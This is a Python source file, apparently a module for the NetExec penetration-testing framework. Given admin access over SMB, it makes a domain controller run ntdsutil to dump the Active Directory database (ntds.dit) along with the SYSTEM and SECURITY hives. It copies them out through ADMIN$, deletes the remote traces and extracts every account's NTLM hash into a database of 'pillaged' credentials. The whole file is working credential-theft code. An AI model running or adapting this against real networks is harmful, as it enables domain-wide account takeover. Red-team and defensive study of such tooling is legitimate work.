181 lines
7.5 KiB
Python
181 lines
7.5 KiB
Python
import os
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import shutil
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import tempfile
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import time
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from impacket.examples.secretsdump import LocalOperations, NTDSHashes
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from nxc.helpers.logger import highlight
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from nxc.helpers.misc import validate_ntlm
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class NXCModule:
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"""
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Dump NTDS with ntdsutil
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Module by @zblurx
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"""
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name = "ntdsutil"
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description = "Dump NTDS with ntdsutil"
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supported_protocols = ["smb"]
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opsec_safe = True
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multiple_hosts = False
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def options(self, context, module_options):
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"""
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Dump NTDS with ntdsutil
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Module by @zblurx
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DIR_RESULT Local dir to write ntds dump. If specified, the local dump will not be deleted after parsing
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"""
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self.share = "ADMIN$"
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self.tmp_dir = "C:\\Windows\\Temp\\"
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self.tmp_share = self.tmp_dir.split("C:\\Windows\\")[1]
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self.dump_location = str(time.time())[:9]
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self.dir_result = self.dir_result = tempfile.mkdtemp()
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self.no_delete = False
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if "DIR_RESULT" in module_options:
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self.dir_result = os.path.abspath(module_options["DIR_RESULT"])
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self.no_delete = True
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def on_admin_login(self, context, connection):
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command = "powershell \"ntdsutil.exe 'ac i ntds' 'ifm' 'create full %s%s' q q\"" % (self.tmp_dir, self.dump_location)
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context.log.display("Dumping ntds with ntdsutil.exe to %s%s" % (self.tmp_dir, self.dump_location))
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context.log.highlight("Dumping the NTDS, this could take a while so go grab a redbull...")
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context.log.debug("Executing command {}".format(command))
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p = connection.execute(command, True)
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context.log.debug(p)
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if "success" in p:
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context.log.success("NTDS.dit dumped to %s%s" % (self.tmp_dir, self.dump_location))
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else:
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context.log.fail("Error while dumping NTDS")
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return
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os.makedirs(self.dir_result, exist_ok=True)
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os.makedirs(os.path.join(self.dir_result, "Active Directory"), exist_ok=True)
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os.makedirs(os.path.join(self.dir_result, "registry"), exist_ok=True)
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context.log.display("Copying NTDS dump to %s" % self.dir_result)
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context.log.debug("Copy ntds.dit to host")
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with open(os.path.join(self.dir_result, "Active Directory", "ntds.dit"), "wb+") as dump_file:
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try:
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connection.conn.getFile(
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self.share,
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self.tmp_share + self.dump_location + "\\" + "Active Directory\\ntds.dit",
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dump_file.write,
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)
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context.log.debug("Copied ntds.dit file")
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except Exception as e:
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context.log.fail("Error while get ntds.dit file: {}".format(e))
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context.log.debug("Copy SYSTEM to host")
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with open(os.path.join(self.dir_result, "registry", "SYSTEM"), "wb+") as dump_file:
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try:
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connection.conn.getFile(
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self.share,
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self.tmp_share + self.dump_location + "\\" + "registry\\SYSTEM",
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dump_file.write,
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)
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context.log.debug("Copied SYSTEM file")
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except Exception as e:
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context.log.fail("Error while get SYSTEM file: {}".format(e))
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context.log.debug("Copy SECURITY to host")
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with open(os.path.join(self.dir_result, "registry", "SECURITY"), "wb+") as dump_file:
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try:
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connection.conn.getFile(
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self.share,
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self.tmp_share + self.dump_location + "\\" + "registry\\SECURITY",
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dump_file.write,
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)
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context.log.debug("Copied SECURITY file")
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except Exception as e:
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context.log.fail("Error while get SECURITY file: {}".format(e))
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context.log.display("NTDS dump copied to %s" % self.dir_result)
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try:
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command = "rmdir /s /q %s%s" % (self.tmp_dir, self.dump_location)
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p = connection.execute(command, True)
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context.log.success("Deleted %s%s remote dump directory" % (self.tmp_dir, self.dump_location))
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except Exception as e:
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context.log.fail("Error deleting {} remote directory on share {}: {}".format(self.dump_location, self.share, e))
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localOperations = LocalOperations("%s/registry/SYSTEM" % self.dir_result)
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bootKey = localOperations.getBootKey()
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noLMHash = localOperations.checkNoLMHashPolicy()
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host_id = context.db.get_hosts(filter_term=connection.host)[0][0]
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def add_ntds_hash(ntds_hash, host_id):
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add_ntds_hash.ntds_hashes += 1
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if context.enabled:
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if "Enabled" in ntds_hash:
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ntds_hash = ntds_hash.split(" ")[0]
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context.log.highlight(ntds_hash)
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else:
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ntds_hash = ntds_hash.split(" ")[0]
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context.log.highlight(ntds_hash)
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if ntds_hash.find("$") == -1:
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if ntds_hash.find("\\") != -1:
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domain, hash = ntds_hash.split("\\")
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else:
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domain = connection.domain
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hash = ntds_hash
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try:
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username, _, lmhash, nthash, _, _, _ = hash.split(":")
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parsed_hash = ":".join((lmhash, nthash))
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if validate_ntlm(parsed_hash):
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context.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
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add_ntds_hash.added_to_db += 1
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return
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raise
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except:
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context.log.debug("Dumped hash is not NTLM, not adding to db for now ;)")
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else:
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context.log.debug("Dumped hash is a computer account, not adding to db")
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add_ntds_hash.ntds_hashes = 0
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add_ntds_hash.added_to_db = 0
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NTDS = NTDSHashes(
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"%s/Active Directory/ntds.dit" % self.dir_result,
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bootKey,
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isRemote=False,
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history=False,
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noLMHash=noLMHash,
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remoteOps=None,
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useVSSMethod=True,
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justNTLM=True,
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pwdLastSet=False,
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resumeSession=None,
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outputFileName=connection.output_filename,
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justUser=None,
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printUserStatus=True,
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perSecretCallback=lambda secretType, secret: add_ntds_hash(secret, host_id),
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)
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try:
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context.log.success("Dumping the NTDS, this could take a while so go grab a redbull...")
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NTDS.dump()
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context.log.success(
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"Dumped {} NTDS hashes to {} of which {} were added to the database".format(
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highlight(add_ntds_hash.ntds_hashes),
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connection.output_filename + ".ntds",
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highlight(add_ntds_hash.added_to_db),
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)
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)
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context.log.display("To extract only enabled accounts from the output file, run the following command: ")
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context.log.display("grep -iv disabled {} | cut -d ':' -f1".format(connection.output_filename + ".ntds"))
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except Exception as e:
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context.log.fail(e)
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NTDS.finish()
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if self.no_delete:
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context.log.display("Raw NTDS dump copied to %s, parse it with:" % self.dir_result)
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context.log.display('secretsdump.py -system %s/registry/SYSTEM -security %s/registry/SECURITY -ntds "%s/Active Directory/ntds.dit" LOCAL' % (self.dir_result, self.dir_result, self.dir_result))
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else:
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shutil.rmtree(self.dir_result)
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